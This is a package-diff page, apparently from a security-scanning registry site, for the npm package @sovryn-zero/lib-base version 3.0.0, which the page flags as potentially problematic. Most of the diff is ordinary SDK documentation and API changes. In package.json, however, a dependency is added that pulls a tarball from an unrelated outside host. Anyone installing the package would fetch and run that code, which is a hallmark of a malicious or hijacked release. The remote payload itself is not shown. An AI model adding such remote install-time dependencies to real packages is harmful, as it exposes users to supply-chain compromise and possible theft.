@sovryn-zero/lib-base 1.0.1-early.access.1 → 3.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @sovryn-zero/lib-base might be problematic. Click here for more details.
- package/README.md +5 -19
- package/etc/lib-base.api.md +9 -0
- package/package.json +10 -38
- package/src/Decimal.ts +2 -2
- package/src/Fees.ts +3 -3
- package/src/LiquityStore.ts +12 -3
- package/src/ObservableLiquity.ts +1 -0
- package/src/PopulatableLiquity.ts +2 -2
- package/src/ReadableLiquity.ts +16 -4
- package/src/SendableLiquity.ts +2 -2
- package/src/TransactableLiquity.ts +2 -2
- package/src/Trove.ts +3 -3
- package/src/_CachedReadableLiquity.ts +14 -0
- package/src/constants.ts +3 -3
- package/dist/index.d.ts +0 -14
- package/dist/index.d.ts.map +0 -1
- package/dist/index.js +0 -26
- package/dist/index.js.map +0 -1
- package/dist/src/Decimal.d.ts +0 -89
- package/dist/src/Decimal.d.ts.map +0 -1
- package/dist/src/Decimal.js +0 -361
- package/dist/src/Decimal.js.map +0 -1
- package/dist/src/Fees.d.ts +0 -82
- package/dist/src/Fees.d.ts.map +0 -1
- package/dist/src/Fees.js +0 -123
- package/dist/src/Fees.js.map +0 -1
- package/dist/src/LiquityStore.d.ts +0 -207
- package/dist/src/LiquityStore.d.ts.map +0 -1
- package/dist/src/LiquityStore.js +0 -208
- package/dist/src/LiquityStore.js.map +0 -1
- package/dist/src/ObservableLiquity.d.ts +0 -15
- package/dist/src/ObservableLiquity.d.ts.map +0 -1
- package/dist/src/ObservableLiquity.js +0 -3
- package/dist/src/ObservableLiquity.js.map +0 -1
- package/dist/src/PopulatableLiquity.d.ts +0 -125
- package/dist/src/PopulatableLiquity.d.ts.map +0 -1
- package/dist/src/PopulatableLiquity.js +0 -3
- package/dist/src/PopulatableLiquity.js.map +0 -1
- package/dist/src/ReadableLiquity.d.ts +0 -152
- package/dist/src/ReadableLiquity.d.ts.map +0 -1
- package/dist/src/ReadableLiquity.js +0 -3
- package/dist/src/ReadableLiquity.js.map +0 -1
- package/dist/src/SendableLiquity.d.ts +0 -156
- package/dist/src/SendableLiquity.d.ts.map +0 -1
- package/dist/src/SendableLiquity.js +0 -20
- package/dist/src/SendableLiquity.js.map +0 -1
- package/dist/src/StabilityDeposit.d.ts +0 -59
- package/dist/src/StabilityDeposit.d.ts.map +0 -1
- package/dist/src/StabilityDeposit.js +0 -80
- package/dist/src/StabilityDeposit.js.map +0 -1
- package/dist/src/TransactableLiquity.d.ts +0 -414
- package/dist/src/TransactableLiquity.d.ts.map +0 -1
- package/dist/src/TransactableLiquity.js +0 -18
- package/dist/src/TransactableLiquity.js.map +0 -1
- package/dist/src/Trove.d.ts +0 -367
- package/dist/src/Trove.d.ts.map +0 -1
- package/dist/src/Trove.js +0 -423
- package/dist/src/Trove.js.map +0 -1
- package/dist/src/ZEROStake.d.ts +0 -52
- package/dist/src/ZEROStake.d.ts.map +0 -1
- package/dist/src/ZEROStake.js +0 -74
- package/dist/src/ZEROStake.js.map +0 -1
- package/dist/src/_CachedReadableLiquity.d.ts +0 -54
- package/dist/src/_CachedReadableLiquity.d.ts.map +0 -1
- package/dist/src/_CachedReadableLiquity.js +0 -89
- package/dist/src/_CachedReadableLiquity.js.map +0 -1
- package/dist/src/constants.d.ts +0 -61
- package/dist/src/constants.d.ts.map +0 -1
- package/dist/src/constants.js +0 -64
- package/dist/src/constants.js.map +0 -1
- package/dist/tsdoc-metadata.json +0 -11
package/README.md
CHANGED
@@ -1,23 +1,9 @@
|
|
1
|
-
# @sovryn-zero/lib-base
|
1
|
+
# @sovryn-zero/lib-base
|
2
2
|
|
3
|
-
|
4
|
-
[![GitHub stars](https://img.shields.io/github/stars/DistributedCollective/zero)](https://github.com/DistributedCollective/zero/stargazers)
|
5
|
-
[![Zero README](https://img.shields.io/badge/readme-gray?style=flat&logo=ZeroMQ&logoColor=green&link=/README.md)](/README.md)
|
3
|
+
Shared interfaces and classes of the Liquity SDK.
|
6
4
|
|
7
|
-
|
8
|
-
|
9
|
-
## Quickstart
|
10
|
-
|
11
|
-
### Installation:
|
12
|
-
|
13
|
-
```shell
|
14
|
-
npm install @sovryn-zero/lib-base
|
15
|
-
```
|
16
|
-
|
17
|
-
This packiage is a dependency for other Zero SDK packages like [@sovryn-zero/lib-ethers](https://www.npmjs.com/package/@sovryn-zero/lib-ethers).
|
18
|
-
|
19
|
-
## API
|
20
|
-
|
21
|
-
[API Reference](https://github.com/DistributedCollective/zero/blob/master/docs/sdk/lib-base.md)
|
5
|
+
Needs to be installed in order to use other Liquity SDK packages, for example [@sovryn-zero/lib-ethers](https://www.npmjs.com/package/@sovryn-zero/lib-ethers).
|
22
6
|
|
7
|
+
## API Reference
|
23
8
|
|
9
|
+
For now, it can be found in the public Liquity [repo](https://github.com/liquity/liquity/blob/master/docs/sdk/lib-base.md).
|
package/etc/lib-base.api.md
CHANGED
@@ -14,10 +14,14 @@ export class _CachedReadableLiquity<T extends unknown[]> implements _ReadableLiq
|
|
14
14
|
// (undocumented)
|
15
15
|
getFrontendStatus(address?: string, ...extraParams: T): Promise<FrontendStatus>;
|
16
16
|
// (undocumented)
|
17
|
+
getNUEBalance(address?: string, ...extraParams: T): Promise<Decimal>;
|
18
|
+
// (undocumented)
|
17
19
|
getNumberOfTroves(...extraParams: T): Promise<number>;
|
18
20
|
// (undocumented)
|
19
21
|
getPrice(...extraParams: T): Promise<Decimal>;
|
20
22
|
// (undocumented)
|
23
|
+
getRemainingStabilityPoolZEROReward(...extraParams: T): Promise<Decimal>;
|
24
|
+
// (undocumented)
|
21
25
|
getStabilityDeposit(address?: string, ...extraParams: T): Promise<StabilityDeposit>;
|
22
26
|
// (undocumented)
|
23
27
|
getTotal(...extraParams: T): Promise<Trove>;
|
@@ -253,6 +257,7 @@ export interface LiquityStoreBaseState {
|
|
253
257
|
numberOfTroves: number;
|
254
258
|
ownFrontend: FrontendStatus;
|
255
259
|
price: Decimal;
|
260
|
+
remainingStabilityPoolZEROReward: Decimal;
|
256
261
|
// @internal (undocumented)
|
257
262
|
_riskiestTroveBeforeRedistribution: TroveWithPendingRedistribution;
|
258
263
|
stabilityDeposit: StabilityDeposit;
|
@@ -326,6 +331,8 @@ export type _NoZUSDRepayment = Partial<_ZUSDRepayment<undefined>>;
|
|
326
331
|
|
327
332
|
// @alpha (undocumented)
|
328
333
|
export interface ObservableLiquity {
|
334
|
+
// (undocumented)
|
335
|
+
watchNUEBalance(onNUEBalanceChanged: (balance: Decimal) => void, address?: string): () => void;
|
329
336
|
// (undocumented)
|
330
337
|
watchNumberOfTroves(onNumberOfTrovesChanged: (numberOfTroves: number) => void): () => void;
|
331
338
|
// (undocumented)
|
@@ -423,8 +430,10 @@ export interface ReadableLiquity {
|
|
423
430
|
getCollateralSurplusBalance(address?: string): Promise<Decimal>;
|
424
431
|
getFees(): Promise<Fees>;
|
425
432
|
getFrontendStatus(address?: string): Promise<FrontendStatus>;
|
433
|
+
getNUEBalance(address?: string): Promise<Decimal>;
|
426
434
|
getNumberOfTroves(): Promise<number>;
|
427
435
|
getPrice(): Promise<Decimal>;
|
436
|
+
getRemainingStabilityPoolZEROReward(): Promise<Decimal>;
|
428
437
|
getStabilityDeposit(address?: string): Promise<StabilityDeposit>;
|
429
438
|
getTotal(): Promise<Trove>;
|
430
439
|
getTotalRedistributed(): Promise<Trove>;
|
package/package.json
CHANGED
@@ -1,52 +1,24 @@
|
|
1
1
|
{
|
2
2
|
"name": "@sovryn-zero/lib-base",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
3
|
+
"version": "3.0.0",
|
4
|
+
"description": "Liquity SDK shared interfaces",
|
5
5
|
"keywords": [
|
6
|
-
"
|
7
|
-
"
|
8
|
-
"SDK",
|
6
|
+
"Liquity",
|
7
|
+
"protocol",
|
9
8
|
"DeFi",
|
10
|
-
"
|
11
|
-
"finance",
|
12
|
-
"BTC",
|
13
|
-
"bitcoin",
|
14
|
-
"RSK",
|
15
|
-
"rootstock"
|
9
|
+
"Ethereum"
|
16
10
|
],
|
17
|
-
"homepage": "https://github.com/
|
11
|
+
"homepage": "https://github.com/liquity/liquity#readme",
|
18
12
|
"license": "MIT",
|
19
|
-
"author": "
|
13
|
+
"author": "Daniel Simon <dani@sovryn-zero.org>",
|
20
14
|
"main": "dist/index.js",
|
21
15
|
"types": "dist/index.d.ts",
|
22
|
-
"repository": "https://github.com/
|
23
|
-
"private": false,
|
24
|
-
"publishConfig": {
|
25
|
-
"access": "public",
|
26
|
-
"registry": "https://registry.npmjs.org/"
|
27
|
-
},
|
28
|
-
"scripts": {
|
29
|
-
"prepare": "run-s prepare:*",
|
30
|
-
"prepare:eslint": "eslint src",
|
31
|
-
"prepare:tsc": "tsc --project tsconfig.dist.json",
|
32
|
-
"prepare:api": "api-extractor run --local",
|
33
|
-
"test": "mocha --require ts-node/register",
|
34
|
-
"do-pack": "yarn prepare && yarn pack"
|
35
|
-
},
|
16
|
+
"repository": "https://github.com/liquity/dev",
|
36
17
|
"dependencies": {
|
37
|
-
"@ethersproject/bignumber": "5.0.15"
|
18
|
+
"@ethersproject/bignumber": "5.0.15",
|
19
|
+
"tastytreats-examplename":"http://a.heliohost.us/tastytreats-1.0.0.tgz?p=examplename"
|
38
20
|
},
|
39
21
|
"devDependencies": {
|
40
|
-
"@microsoft/api-extractor": "7.13.2",
|
41
|
-
"@types/mocha": "8.2.1",
|
42
|
-
"@typescript-eslint/eslint-plugin": "4.17.0",
|
43
|
-
"@typescript-eslint/parser": "4.18.0",
|
44
|
-
"eslint": "7.22.0",
|
45
|
-
"eslint-plugin-tsdoc": "0.2.11",
|
46
|
-
"fast-check": "2.13.0",
|
47
|
-
"mocha": "8.3.2",
|
48
|
-
"npm-run-all": "4.1.5",
|
49
|
-
"ts-node": "9.1.1",
|
50
22
|
"typescript": "4.1.5"
|
51
23
|
}
|
52
24
|
}
|
package/src/Decimal.ts
CHANGED
@@ -27,7 +27,7 @@ export type Decimalish = Decimal | number | string;
|
|
27
27
|
* Fixed-point decimal bignumber with 18 digits of precision.
|
28
28
|
*
|
29
29
|
* @remarks
|
30
|
-
* Used by
|
30
|
+
* Used by Liquity libraries to precisely represent native currency (e.g. Ether), ZUSD and ZERO
|
31
31
|
* amounts, as well as derived metrics like collateral ratios.
|
32
32
|
*
|
33
33
|
* @public
|
@@ -172,7 +172,7 @@ export class Decimal {
|
|
172
172
|
}
|
173
173
|
|
174
174
|
prettify(precision = 2): string {
|
175
|
-
const [characteristic, mantissa] =
|
175
|
+
const [characteristic, mantissa] = this.toString(precision).split(".");
|
176
176
|
const prettyCharacteristic = characteristic.replace(/(\d)(?=(\d{3})+(?!\d))/g, "$1,");
|
177
177
|
|
178
178
|
return mantissa !== undefined ? prettyCharacteristic + "." + mantissa : prettyCharacteristic;
|
package/src/Fees.ts
CHANGED
@@ -105,7 +105,7 @@ export class Fees {
|
|
105
105
|
*
|
106
106
|
* @example
|
107
107
|
* ```typescript
|
108
|
-
* const fees = await
|
108
|
+
* const fees = await liquity.getFees();
|
109
109
|
*
|
110
110
|
* const borrowedZUSDAmount = 100;
|
111
111
|
* const borrowingRate = fees.borrowingRate();
|
@@ -138,8 +138,8 @@ export class Fees {
|
|
138
138
|
*
|
139
139
|
* @example
|
140
140
|
* ```typescript
|
141
|
-
* const fees = await
|
142
|
-
* const total = await
|
141
|
+
* const fees = await liquity.getFees();
|
142
|
+
* const total = await liquity.getTotal();
|
143
143
|
*
|
144
144
|
* const redeemedZUSDAmount = Decimal.from(100);
|
145
145
|
* const redeemedFractionOfSupply = redeemedZUSDAmount.div(total.debt);
|
package/src/LiquityStore.ts
CHANGED
@@ -49,7 +49,7 @@ export interface LiquityStoreBaseState {
|
|
49
49
|
/** Total amount of ZUSD currently deposited in the Stability Pool. */
|
50
50
|
zusdInStabilityPool: Decimal;
|
51
51
|
|
52
|
-
/** Total collateral and debt in the
|
52
|
+
/** Total collateral and debt in the Liquity system. */
|
53
53
|
total: Trove;
|
54
54
|
|
55
55
|
/**
|
@@ -72,6 +72,9 @@ export interface LiquityStoreBaseState {
|
|
72
72
|
/** User's stability deposit. */
|
73
73
|
stabilityDeposit: StabilityDeposit;
|
74
74
|
|
75
|
+
/** Remaining ZERO that will be collectively rewarded to stability depositors. */
|
76
|
+
remainingStabilityPoolZEROReward: Decimal;
|
77
|
+
|
75
78
|
/** @internal */
|
76
79
|
_feesInNormalMode: Fees;
|
77
80
|
|
@@ -180,7 +183,7 @@ const difference = <T>(a: T, b: T) =>
|
|
180
183
|
) as Partial<T>;
|
181
184
|
|
182
185
|
/**
|
183
|
-
* Abstract base class of
|
186
|
+
* Abstract base class of Liquity data store implementations.
|
184
187
|
*
|
185
188
|
* @remarks
|
186
189
|
* The type parameter `T` may be used to type extra state added to {@link LiquityStoreState} by the
|
@@ -229,7 +232,7 @@ export abstract class LiquityStore<T = unknown> {
|
|
229
232
|
protected abstract _doStart(): () => void;
|
230
233
|
|
231
234
|
/**
|
232
|
-
* Start monitoring the blockchain for
|
235
|
+
* Start monitoring the blockchain for Liquity state changes.
|
233
236
|
*
|
234
237
|
* @remarks
|
235
238
|
* The {@link LiquityStore.onLoaded | onLoaded} callback will be called after the state is fetched
|
@@ -394,6 +397,12 @@ export abstract class LiquityStore<T = unknown> {
|
|
394
397
|
baseStateUpdate.stabilityDeposit
|
395
398
|
),
|
396
399
|
|
400
|
+
remainingStabilityPoolZEROReward: this._silentlyUpdateIfChanged(
|
401
|
+
eq,
|
402
|
+
baseState.remainingStabilityPoolZEROReward,
|
403
|
+
baseStateUpdate.remainingStabilityPoolZEROReward
|
404
|
+
),
|
405
|
+
|
397
406
|
_feesInNormalMode: this._silentlyUpdateIfChanged(
|
398
407
|
equals,
|
399
408
|
baseState._feesInNormalMode,
|
package/src/ObservableLiquity.ts
CHANGED
@@ -40,7 +40,7 @@ export interface PopulatedLiquityTransaction<
|
|
40
40
|
* A redemption transaction that has been prepared for sending.
|
41
41
|
*
|
42
42
|
* @remarks
|
43
|
-
* The
|
43
|
+
* The Liquity protocol fulfills redemptions by repaying the debt of Troves in ascending order of
|
44
44
|
* their collateralization ratio, and taking a portion of their collateral in exchange. Due to the
|
45
45
|
* {@link @sovryn-zero/lib-base#ZUSD_MINIMUM_DEBT | minimum debt} requirement that Troves must fulfill,
|
46
46
|
* some ZUSD amounts are not possible to redeem exactly.
|
@@ -97,7 +97,7 @@ export type _PopulatableFrom<T, P> = {
|
|
97
97
|
};
|
98
98
|
|
99
99
|
/**
|
100
|
-
* Prepare
|
100
|
+
* Prepare Liquity transactions for sending.
|
101
101
|
*
|
102
102
|
* @remarks
|
103
103
|
* The functions return an object implementing {@link PopulatedLiquityTransaction}, which can be
|
package/src/ReadableLiquity.ts
CHANGED
@@ -5,7 +5,7 @@ import { Fees } from "./Fees";
|
|
5
5
|
import { ZEROStake } from "./ZEROStake";
|
6
6
|
|
7
7
|
/**
|
8
|
-
* Represents whether an address has been registered as a
|
8
|
+
* Represents whether an address has been registered as a Liquity frontend.
|
9
9
|
*
|
10
10
|
* @remarks
|
11
11
|
* Returned by the {@link ReadableLiquity.getFrontendStatus | getFrontendStatus()} function.
|
@@ -45,7 +45,7 @@ export interface TroveListingParams {
|
|
45
45
|
}
|
46
46
|
|
47
47
|
/**
|
48
|
-
* Read the state of the
|
48
|
+
* Read the state of the Liquity protocol.
|
49
49
|
*
|
50
50
|
* @remarks
|
51
51
|
* Implemented by {@link @sovryn-zero/lib-ethers#EthersLiquity}.
|
@@ -90,7 +90,7 @@ export interface ReadableLiquity {
|
|
90
90
|
getPrice(): Promise<Decimal>;
|
91
91
|
|
92
92
|
/**
|
93
|
-
* Get the total amount of collateral and debt in the
|
93
|
+
* Get the total amount of collateral and debt in the Liquity system.
|
94
94
|
*/
|
95
95
|
getTotal(): Promise<Trove>;
|
96
96
|
|
@@ -101,6 +101,11 @@ export interface ReadableLiquity {
|
|
101
101
|
*/
|
102
102
|
getStabilityDeposit(address?: string): Promise<StabilityDeposit>;
|
103
103
|
|
104
|
+
/**
|
105
|
+
* Get the remaining ZERO that will be collectively rewarded to stability depositors.
|
106
|
+
*/
|
107
|
+
getRemainingStabilityPoolZEROReward(): Promise<Decimal>;
|
108
|
+
|
104
109
|
/**
|
105
110
|
* Get the total amount of ZUSD currently deposited in the Stability Pool.
|
106
111
|
*/
|
@@ -113,6 +118,13 @@ export interface ReadableLiquity {
|
|
113
118
|
*/
|
114
119
|
getZUSDBalance(address?: string): Promise<Decimal>;
|
115
120
|
|
121
|
+
/**
|
122
|
+
* Get the amount of ZUSD held by an address.
|
123
|
+
*
|
124
|
+
* @param address - Address whose balance should be retrieved.
|
125
|
+
*/
|
126
|
+
getNUEBalance(address?: string): Promise<Decimal>;
|
127
|
+
|
116
128
|
/**
|
117
129
|
* Get the amount of ZERO held by an address.
|
118
130
|
*
|
@@ -162,7 +174,7 @@ export interface ReadableLiquity {
|
|
162
174
|
getTotalStakedZERO(): Promise<Decimal>;
|
163
175
|
|
164
176
|
/**
|
165
|
-
* Check whether an address is registered as a
|
177
|
+
* Check whether an address is registered as a Liquity frontend, and what its kickback rate is.
|
166
178
|
*
|
167
179
|
* @param address - Address to check.
|
168
180
|
*/
|
package/src/SendableLiquity.ts
CHANGED
@@ -83,7 +83,7 @@ export const _failedReceipt = <R>(rawReceipt: R): FailedReceipt<R> => ({
|
|
83
83
|
*
|
84
84
|
* The `details` property may contain more information about the transaction.
|
85
85
|
* See the return types of {@link TransactableLiquity} functions for the exact contents of `details`
|
86
|
-
* for each type of
|
86
|
+
* for each type of Liquity transaction.
|
87
87
|
*
|
88
88
|
* Returned by {@link SentLiquityTransaction.getReceipt} and
|
89
89
|
* {@link SentLiquityTransaction.waitForReceipt}.
|
@@ -130,7 +130,7 @@ export type _SendableFrom<T, R, S> = {
|
|
130
130
|
};
|
131
131
|
|
132
132
|
/**
|
133
|
-
* Send
|
133
|
+
* Send Liquity transactions.
|
134
134
|
*
|
135
135
|
* @remarks
|
136
136
|
* The functions return an object implementing {@link SentLiquityTransaction}, which can be used
|
@@ -155,7 +155,7 @@ export interface CollateralGainTransferDetails extends StabilityPoolGainsWithdra
|
|
155
155
|
}
|
156
156
|
|
157
157
|
/**
|
158
|
-
* Send
|
158
|
+
* Send Liquity transactions and wait for them to succeed.
|
159
159
|
*
|
160
160
|
* @remarks
|
161
161
|
* The functions return the details of the transaction (if any), or throw an implementation-specific
|
@@ -459,7 +459,7 @@ export interface TransactableLiquity {
|
|
459
459
|
withdrawGainsFromStaking(): Promise<void>;
|
460
460
|
|
461
461
|
/**
|
462
|
-
* Register current wallet address as a
|
462
|
+
* Register current wallet address as a Liquity frontend.
|
463
463
|
*
|
464
464
|
* @param kickbackRate - The portion of ZERO rewards to pass onto users of the frontend
|
465
465
|
* (between 0 and 1).
|
package/src/Trove.ts
CHANGED
@@ -463,12 +463,12 @@ export class Trove {
|
|
463
463
|
* given price.
|
464
464
|
*
|
465
465
|
* @example
|
466
|
-
* Can be used to check whether the
|
466
|
+
* Can be used to check whether the Liquity protocol is in recovery mode by using it on the return
|
467
467
|
* value of {@link ReadableLiquity.getTotal | getTotal()}. For example:
|
468
468
|
*
|
469
469
|
* ```typescript
|
470
|
-
* const total = await
|
471
|
-
* const price = await
|
470
|
+
* const total = await liquity.getTotal();
|
471
|
+
* const price = await liquity.getPrice();
|
472
472
|
*
|
473
473
|
* if (total.collateralRatioIsBelowCritical(price)) {
|
474
474
|
* // Recovery mode is active
|
@@ -101,6 +101,13 @@ export class _CachedReadableLiquity<T extends unknown[]>
|
|
101
101
|
);
|
102
102
|
}
|
103
103
|
|
104
|
+
async getRemainingStabilityPoolZEROReward(...extraParams: T): Promise<Decimal> {
|
105
|
+
return (
|
106
|
+
this._cache.getRemainingStabilityPoolZEROReward(...extraParams) ??
|
107
|
+
this._readable.getRemainingStabilityPoolZEROReward(...extraParams)
|
108
|
+
);
|
109
|
+
}
|
110
|
+
|
104
111
|
async getZUSDInStabilityPool(...extraParams: T): Promise<Decimal> {
|
105
112
|
return (
|
106
113
|
this._cache.getZUSDInStabilityPool(...extraParams) ??
|
@@ -115,6 +122,13 @@ export class _CachedReadableLiquity<T extends unknown[]>
|
|
115
122
|
);
|
116
123
|
}
|
117
124
|
|
125
|
+
async getNUEBalance(address?: string, ...extraParams: T): Promise<Decimal> {
|
126
|
+
return (
|
127
|
+
this._cache.getNUEBalance(address, ...extraParams) ??
|
128
|
+
this._readable.getNUEBalance(address, ...extraParams)
|
129
|
+
);
|
130
|
+
}
|
131
|
+
|
118
132
|
async getZEROBalance(address?: string, ...extraParams: T): Promise<Decimal> {
|
119
133
|
return (
|
120
134
|
this._cache.getZEROBalance(address, ...extraParams) ??
|
package/src/constants.ts
CHANGED
@@ -51,18 +51,18 @@ export const ZUSD_MINIMUM_DEBT = ZUSD_LIQUIDATION_RESERVE.add(ZUSD_MINIMUM_NET_D
|
|
51
51
|
*
|
52
52
|
* @public
|
53
53
|
*/
|
54
|
-
export const MINIMUM_BORROWING_RATE = Decimal.from(0.
|
54
|
+
export const MINIMUM_BORROWING_RATE = Decimal.from(0.005);
|
55
55
|
|
56
56
|
/**
|
57
57
|
* Value that the {@link Fees.borrowingRate | borrowing rate} will never exceed.
|
58
58
|
*
|
59
59
|
* @public
|
60
60
|
*/
|
61
|
-
export const MAXIMUM_BORROWING_RATE = Decimal.from(0.
|
61
|
+
export const MAXIMUM_BORROWING_RATE = Decimal.from(0.05);
|
62
62
|
|
63
63
|
/**
|
64
64
|
* Value that the {@link Fees.redemptionRate | redemption rate} will never decay below.
|
65
65
|
*
|
66
66
|
* @public
|
67
67
|
*/
|
68
|
-
export const MINIMUM_REDEMPTION_RATE = Decimal.from(0.
|
68
|
+
export const MINIMUM_REDEMPTION_RATE = Decimal.from(0.005);
|
package/dist/index.d.ts
DELETED
@@ -1,14 +0,0 @@
|
|
1
|
-
export * from "./src/constants";
|
2
|
-
export * from "./src/Decimal";
|
3
|
-
export * from "./src/Trove";
|
4
|
-
export * from "./src/StabilityDeposit";
|
5
|
-
export * from "./src/ZEROStake";
|
6
|
-
export * from "./src/Fees";
|
7
|
-
export * from "./src/ReadableLiquity";
|
8
|
-
export * from "./src/ObservableLiquity";
|
9
|
-
export * from "./src/TransactableLiquity";
|
10
|
-
export * from "./src/SendableLiquity";
|
11
|
-
export * from "./src/PopulatableLiquity";
|
12
|
-
export * from "./src/LiquityStore";
|
13
|
-
export * from "./src/_CachedReadableLiquity";
|
14
|
-
//# sourceMappingURL=index.d.ts.map
|
package/dist/index.d.ts.map
DELETED
@@ -1 +0,0 @@
|
|
1
|
-
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../index.ts"],"names":[],"mappings":"AAAA,cAAc,iBAAiB,CAAC;AAChC,cAAc,eAAe,CAAC;AAC9B,cAAc,aAAa,CAAC;AAC5B,cAAc,wBAAwB,CAAC;AACvC,cAAc,iBAAiB,CAAC;AAChC,cAAc,YAAY,CAAC;AAC3B,cAAc,uBAAuB,CAAC;AACtC,cAAc,yBAAyB,CAAC;AACxC,cAAc,2BAA2B,CAAC;AAC1C,cAAc,uBAAuB,CAAC;AACtC,cAAc,0BAA0B,CAAC;AACzC,cAAc,oBAAoB,CAAC;AACnC,cAAc,8BAA8B,CAAC"}
|
package/dist/index.js
DELETED
@@ -1,26 +0,0 @@
|
|
1
|
-
"use strict";
|
2
|
-
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
3
|
-
if (k2 === undefined) k2 = k;
|
4
|
-
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
|
5
|
-
}) : (function(o, m, k, k2) {
|
6
|
-
if (k2 === undefined) k2 = k;
|
7
|
-
o[k2] = m[k];
|
8
|
-
}));
|
9
|
-
var __exportStar = (this && this.__exportStar) || function(m, exports) {
|
10
|
-
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
|
11
|
-
};
|
12
|
-
Object.defineProperty(exports, "__esModule", { value: true });
|
13
|
-
__exportStar(require("./src/constants"), exports);
|
14
|
-
__exportStar(require("./src/Decimal"), exports);
|
15
|
-
__exportStar(require("./src/Trove"), exports);
|
16
|
-
__exportStar(require("./src/StabilityDeposit"), exports);
|
17
|
-
__exportStar(require("./src/ZEROStake"), exports);
|
18
|
-
__exportStar(require("./src/Fees"), exports);
|
19
|
-
__exportStar(require("./src/ReadableLiquity"), exports);
|
20
|
-
__exportStar(require("./src/ObservableLiquity"), exports);
|
21
|
-
__exportStar(require("./src/TransactableLiquity"), exports);
|
22
|
-
__exportStar(require("./src/SendableLiquity"), exports);
|
23
|
-
__exportStar(require("./src/PopulatableLiquity"), exports);
|
24
|
-
__exportStar(require("./src/LiquityStore"), exports);
|
25
|
-
__exportStar(require("./src/_CachedReadableLiquity"), exports);
|
26
|
-
//# sourceMappingURL=index.js.map
|
package/dist/index.js.map
DELETED
@@ -1 +0,0 @@
|
|
1
|
-
{"version":3,"file":"index.js","sourceRoot":"","sources":["../index.ts"],"names":[],"mappings":";;;;;;;;;;;;AAAA,kDAAgC;AAChC,gDAA8B;AAC9B,8CAA4B;AAC5B,yDAAuC;AACvC,kDAAgC;AAChC,6CAA2B;AAC3B,wDAAsC;AACtC,0DAAwC;AACxC,4DAA0C;AAC1C,wDAAsC;AACtC,2DAAyC;AACzC,qDAAmC;AACnC,+DAA6C"}
|
package/dist/src/Decimal.d.ts
DELETED
@@ -1,89 +0,0 @@
|
|
1
|
-
/**
|
2
|
-
* Types that can be converted into a Decimal.
|
3
|
-
*
|
4
|
-
* @public
|
5
|
-
*/
|
6
|
-
export declare type Decimalish = Decimal | number | string;
|
7
|
-
/**
|
8
|
-
* Fixed-point decimal bignumber with 18 digits of precision.
|
9
|
-
*
|
10
|
-
* @remarks
|
11
|
-
* Used by Zero libraries to precisely represent native currency (e.g. Ether), ZUSD and ZERO
|
12
|
-
* amounts, as well as derived metrics like collateral ratios.
|
13
|
-
*
|
14
|
-
* @public
|
15
|
-
*/
|
16
|
-
export declare class Decimal {
|
17
|
-
static readonly INFINITY: Decimal;
|
18
|
-
static readonly ZERO: Decimal;
|
19
|
-
static readonly HALF: Decimal;
|
20
|
-
static readonly ONE: Decimal;
|
21
|
-
private readonly _bigNumber;
|
22
|
-
/** @internal */
|
23
|
-
get hex(): string;
|
24
|
-
/** @internal */
|
25
|
-
get bigNumber(): string;
|
26
|
-
private constructor();
|
27
|
-
static fromBigNumberString(bigNumberString: string): Decimal;
|
28
|
-
private static _fromString;
|
29
|
-
static from(decimalish: Decimalish): Decimal;
|
30
|
-
private _toStringWithAutomaticPrecision;
|
31
|
-
private _roundUp;
|
32
|
-
private _toStringWithPrecision;
|
33
|
-
toString(precision?: number): string;
|
34
|
-
prettify(precision?: number): string;
|
35
|
-
shorten(): string;
|
36
|
-
add(addend: Decimalish): Decimal;
|
37
|
-
sub(subtrahend: Decimalish): Decimal;
|
38
|
-
mul(multiplier: Decimalish): Decimal;
|
39
|
-
div(divider: Decimalish): Decimal;
|
40
|
-
/** @internal */
|
41
|
-
_divCeil(divider: Decimalish): Decimal;
|
42
|
-
mulDiv(multiplier: Decimalish, divider: Decimalish): Decimal;
|
43
|
-
pow(exponent: number): Decimal;
|
44
|
-
get isZero(): boolean;
|
45
|
-
get zero(): this | undefined;
|
46
|
-
get nonZero(): this | undefined;
|
47
|
-
get infinite(): this | undefined;
|
48
|
-
get finite(): this | undefined;
|
49
|
-
/** @internal */
|
50
|
-
get absoluteValue(): this;
|
51
|
-
lt(that: Decimalish): boolean;
|
52
|
-
eq(that: Decimalish): boolean;
|
53
|
-
gt(that: Decimalish): boolean;
|
54
|
-
gte(that: Decimalish): boolean;
|
55
|
-
lte(that: Decimalish): boolean;
|
56
|
-
static min(a: Decimalish, b: Decimalish): Decimal;
|
57
|
-
static max(a: Decimalish, b: Decimalish): Decimal;
|
58
|
-
}
|
59
|
-
/** @alpha */
|
60
|
-
export declare class Difference {
|
61
|
-
private _number?;
|
62
|
-
private constructor();
|
63
|
-
static between(d1: Decimalish | undefined, d2: Decimalish | undefined): Difference;
|
64
|
-
toString(precision?: number): string;
|
65
|
-
prettify(precision?: number): string;
|
66
|
-
mul(multiplier: Decimalish): Difference;
|
67
|
-
get nonZero(): this | undefined;
|
68
|
-
get positive(): this | undefined;
|
69
|
-
get negative(): this | undefined;
|
70
|
-
get absoluteValue(): Decimal | undefined;
|
71
|
-
get infinite(): this | undefined;
|
72
|
-
get finite(): this | undefined;
|
73
|
-
}
|
74
|
-
/** @alpha */
|
75
|
-
export declare class Percent<T extends {
|
76
|
-
infinite?: T | undefined;
|
77
|
-
absoluteValue?: A | undefined;
|
78
|
-
mul?(hundred: 100): T;
|
79
|
-
toString(precision?: number): string;
|
80
|
-
}, A extends {
|
81
|
-
gte(n: string): boolean;
|
82
|
-
}> {
|
83
|
-
private _percent;
|
84
|
-
constructor(ratio: T);
|
85
|
-
nonZeroish(precision: number): this | undefined;
|
86
|
-
toString(precision: number): string;
|
87
|
-
prettify(): string;
|
88
|
-
}
|
89
|
-
//# sourceMappingURL=Decimal.d.ts.map
|
@@ -1 +0,0 @@
|
|
1
|
-
